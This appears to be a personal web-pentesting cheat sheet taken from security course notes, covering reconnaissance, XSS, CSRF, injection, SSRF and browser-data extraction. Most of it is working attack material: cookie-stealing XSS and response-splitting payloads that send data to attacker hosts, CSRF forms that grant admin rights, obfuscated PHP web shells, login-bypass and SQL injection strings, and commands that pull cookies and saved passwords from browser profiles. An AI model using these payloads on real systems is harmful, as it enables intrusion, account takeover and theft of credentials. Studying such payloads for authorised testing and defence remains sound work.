|\ __________                          __   __                         __
         | |   __     |          _____ __    __\__/_|  |_ __ ___   _____   ___ |  |\_____     
         | |  /  \    |         /  _  \  \  /  /  |_    _|  /   \ /  _  \ /  _ \  |/  _  \    
         | |  \  /___ |        /  /_\  \  \/  /|  | |  |\|   /\  \  / \  \  / \   |  /_\  \   
         | |__/    _ \|        |  _____||    |\|  | |  | |  |\|  |  |\|  |  |\|   |  _____|\  
         | |___/\  \\_\        \  \____/  /\  \|  | |  | |  | |  |  \_/  /  \_/   |  \___ \|  
         | |    /   \_|         \_____/__/ /\__\__| |__| |__| |__|\_____/ \____/__|\_____/\   
         | |   / / \___|         \____\__\/  \__\__\|\__\|\__\|\__\\____\/ \___\\__\\____\/   
         | |__/_/_____|     
         |/                

Last changed: 08.07.2020

Hacking web applications


As web application pentesting represents a large topic on its own I will regard it on a separate page. This paged represents some of the notes taken during the online courses eLearnSecurity Web Application Penetration Testing (eWAPT) and eLearnSecurity Web Application Penetration Testing extreme (eWAPTX).

A collection of payloads for different vulnerabilities can be found in PayloadsAllTheThings.

information gathering


To identify possible attack vectors for a certain target you should start by determining the target scope and fingerprinting the underlying server technologies.

subdomain enumeration

Sublist3r is a cool tool using multiple search engines to find subdomains. A free online alternative is dnsdumpster.com.

sublist3r -d target.com -o output.txt

Alternatively you can use dnscan to enumerate subdomains using wordlists.

dnscan -d target.com

simple regex for urls

((https?):\/\/([\[\]A-Za-z0-9\@\.\:\-]*)(\/[\w\-\.\~\!\$\&\(\)\*\+\,\;\@\%\/]*)?)
((https?):\/\/([\[\]A-Za-z0-9\@\.\:\-]*)(\/[\w\-\.\~\!\$\&\(\)\*\+\,\;\@\%\/\=\?]*)?)

webserver fingerprinting

httprint -P0 -h <target_ip> -s /usr/share/httprint/signatures.txt
http://toolbar.netcraft.com/site_report?url=target.com
https://urlscan.io/search/#target.com

other request methods

curl -X OPTIONS -i http://target/admin/
curl -X PUT -i http://target/admin/

cms scanning

wpscan -u wordpress.target.com
joomscan -u joomla.target.com

website mapping

burpsuite => spider
dirb http://target.com
dirbuster (GUI tool)

identify WAF

wafw00f http://target.com

vulnerability scanner

nikto -host http://target.com
w3af (GUI tool)

cross site scripting


Missing input sanitization can allow an attacker to inject javascript into a webpage. This javascript code is then executed by the browser of a victim. A comprehensive ressource for filter evasion tricks can be found in the OWASP XSS Filter Evasion Cheat Sheet.

steal cookie

<svg/onload='var i=new Image;i.src="http://attacker/"+document.cookie;'>
' onmouseover=location.href='http://attacker/'.concat(document.cookie); id='

A local webserver for testing can be setup with python3 -m http.server 80.

submit form

<script>window.onload=function() 
{var f=document.getElementById("form"); var e=f.elements; 
e[0].value="newPassword";f.submit()};</script>

filter evasion

eval(String.fromCharCode(97,108,101,114,116)+"('xss')")
eval(/ale/.source+/rt/.source+/('xss')/.source)

base36 encoding

parseInt("alert",36)
eval(17795081..toString(36))(43804..toString(36))

base64 encoding

eval(btoa("alert('xss')"))
eval(atob(`YWxlcnQoJ3hzcycp`))
<object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K\'>

To test and debug javascript from the commandline you could use javascript runtimes like nodejs or rhino. But functions and objects which are implemented by the browser runtime will be missing when the script is run from commandline.

To show and edit your cookies a browser plugin like Cookie-Editor for firefox comes in handy.

cross site request forgery


form post

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://target/admin.php' target="csrf-frame" id="csrf-form">
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='role' value='admin'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

form post with csrf token

<iframe id="csrf" src="/admin.php"></iframe>
<script>
var frame = document.getElementById("csrf");
frame.onload = function(){
    var doc = (frame.contentWindow || frame.contentDocument);
    if (doc.document) doc = doc.document;
    var form=doc.getElementById("target-form");
    doc.getElementById("username").value="hacker";
    doc.getElementById("role").value="admin";
    form.submit()}
</script>

form post with xhr

<script>
var change_request = new XMLHttpRequest();
var url = "http://target/changePassword.php";
var params = "password=newPassword&submit=";
change_request.open("POST", url, true);
change_request.withCredentials = 'true';
change_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
change_request.onreadystatechange = function(){
    if(change_request.readystate > 1){
        change_request.abort();
    }
}
change_request.send(params);
</script>

read csrf token with xhr

<script>
var token_request = new XMLHttpRequest();
token_request.onreadystatechange = function (){
    if(token_request.readyState == 4){
        var htmlSource = token_request.responseText;
        var parser = new DOMParser().parseFromString(htmlSource, "text/html");
        var token = parser.getElementById("CSRFToken").value;
        changePass(token);
    }
}
token_request.open("GET", "http://target/editProfile.php", true);
token_request.withCredentials = 'true';
token_request.send();
</script>

dangling markup


If you can inject a string into a webpage with an unclosed quote you can extract the content of the page until the next closing quote.

<link rel="prefetch" href="http://evil.com
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=

More examples can be found on https://book.hacktricks.xyz/

http response splitting


Sometimes user input can affect the http header of the response (e.g. the chosen language setting gets stored in a cookie). If you can insert CRLF into the http header you can craft a message that consists of 2 valid looking responses.

GET /?lang=us%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2075%0d%0a%0d%0a<script>window.location='https://attacker.com/?c='%2Bdocument.cookie</script> HTTP/1.1
Location: victim.proxy:8080

When a second request gets issued right afterwards a caching proxy could interpret the crafted response as the response to this request thus poisoning the cache.

GET /admin HTTP/1.1
Location: victim.proxy:8080

local file inclusion


path truncation

Generate a long path ending on a ..

curl http://target.com/index.php?page=a/../../../etc/passwd`python -c "print('/.'*4000)"`

php filter

http://target.com/index.php?page=php://filter/convert.base64-encode/resource=index

php backdoor


standard

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; die; }?>

mini

${'_GET'}['_'](${'_GET'}['-'])

non-alphanumeric

${'_'.('{'^'<').('{'^'>').('{'^'/')}['_'](${'_'.('{'^'<').('{'^'>').('{'^'/')}['-']);

weevely

A simple backdoor can be generated e.g. with weevely.

weevely generate my_password w.php
weevely target.com/w.php my_password

authentication bypass


mysql

Example query: SELECT * FROM users WHERE username='<user>' AND password='<password>'

user='+or+1=1--+&password=abc
user=admin'--+&password=abc

ldap

Example query: (&(username=<user>)(password=<password>))

user=*))%00&password=abc
user=admin)(!(|(1=1&password=abc))

nosql

Example query: db.collection('users').find({"user": req.query.user, "password": req.query.password});

user[$ne]=abc&password[$ne]=abc
user=admin&password[$ne]=abc
user[$regex]=^[aA].*&password[$ne]=abc

xpath

Example query: "//Employee[UserName/text()='" + Request("user") + "' And Password/text()='" + Request("password") + "']";

user=' or 1=1 or ''='&password=abc

php unserialize

a:2:{s:4:"user";b:1;s:8:"password";b:1;};
a:2:{s:4:"user";s:5:"admin";s:8:"password";b:1;};

sql injection


Missing input validation can also lead to sql injection vulnerabilities. As exact design of the exploit depends on the crafted query I will only mention examples for some common techniques. A great page for further ressources is OWASP.

mysql

' union select null,null,group_concat(0x7c,schema_name,0x7c) from information_schema.schemata#
' OR ASCII(SUBSTRING(user(),1,1)) <=109#
' OR SUBSTRING(user(),1,1) = 'a'--+
' OR SLEEP(5)#
IF EXISTS (SELECT * FROM users WHERE username = 'admin') SLEEP(5)
id=999 union select null,null,...,LOAD_FILE(0x2f6574632f706173737764)
id=999 UNION SELECT * FROM (SELECT 0x41)a JOIN (SELECT 0x42)b JOIN (SELECT 0x43)c JOIN (SELECT 0x44)d

If you are dealing with an INSERT statement which is using a syntax like

INSERT INTO users (username, password, email) VALUES ('foo','bar','foo@bar')

an additional entry can be created with

email=foo@bar'),('dump', 'password', (select group_concat(0x7c,username,0x7c,password) from users))--+

mssql

id=999 or 1 in (select top 1 cast(name as varchar(4096))from database..sysobjects where xtype="U")--
id=999 or 1 in (select top 1 cast(database..syscolumns.name as varchar(4096))from database..syscolumns,database..sysobjects where database..syscolumns.id=database..sysobjects.id and database..sysobjects.name="tableXY")--
id=999 or 1 in (select top 1 cast(username as varchar(4096))%2bchar(64)%2bpassword from users where id=1)--
if (select user) = 'sa' waitfor delay '0:0:5'

sqlite

' union select tbl_name from sqlite_master where type='table' and tbl_name not like 'sqlite_%'--
' OR 'A' = UPPER(HEX(RANDOMBLOB(100000000/2)))--

sqlmap

The open source tool sqlmap can automatically detect sql injection flaws and run the attack. In more complex web applications you may have to specify the command to get results.

sqlmap -u 'https://target.com/page.php?m=*as%40mail.com&token=AAAA' --eval "import requests;s=requests.session();r=s.get('https://target.com/token.php');token=r.text" --threads 10 --current-db

nosql injection


ldap

search=admin*)(password=m*

mongodb

user[$gte]=m...

xml attacks


xxe

<!DOCTYPE php_read [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

xpath injection

search=asdf' | //user/password[('1'='1
id=999') and (substring(//user[username='admin']/password,1,1)='s

ssrf


curl + redis

This chinese site shows some attacks with gopher and here you can find details about the redis protocol

curl http://target/index.php -d 'url=gopher://localhost:6379/_config set dir /var/www/html%250d%250aconfig set dbfilename test.php%250d%250aset test "%253c%253fphp phpinfo(); %253f%253e"%250d%250asave%250d%250aquit%250d%250a' 

browser data


chromium

Encrypted cookies have to be decrypted with scripts like decryptchromecookies.py or pycookiecheat.

sqlite3 .config/chromium/Profile\ 1/Cookies "select host_key,name,value,encrypted_value from cookies"
sqlite3 .config/chromium/Profile\ 1/History "select title,url,visit_count from urls"
sqlite3 .config/chromium/Profile\ 1/History "select current_path,site_url,tab_url from downloads"

firefox

sqlite3 .mozilla/firefox/<profile>.default/places.sqlite "select url from moz_places"
sqlite3 .mozilla/firefox/<profile>.default/cookies.sqlite "select basedomain, name, value from moz_cookies"
sqlite3 .mozilla/firefox/<profile>.default/webappsstore.sqlite "select originKey, key, value from webappsstore2"

The script firepwd can extract stored passwords from the key4.db and the logins.json files.

python firepwd -d .mozilla/firefox/<profile>.default/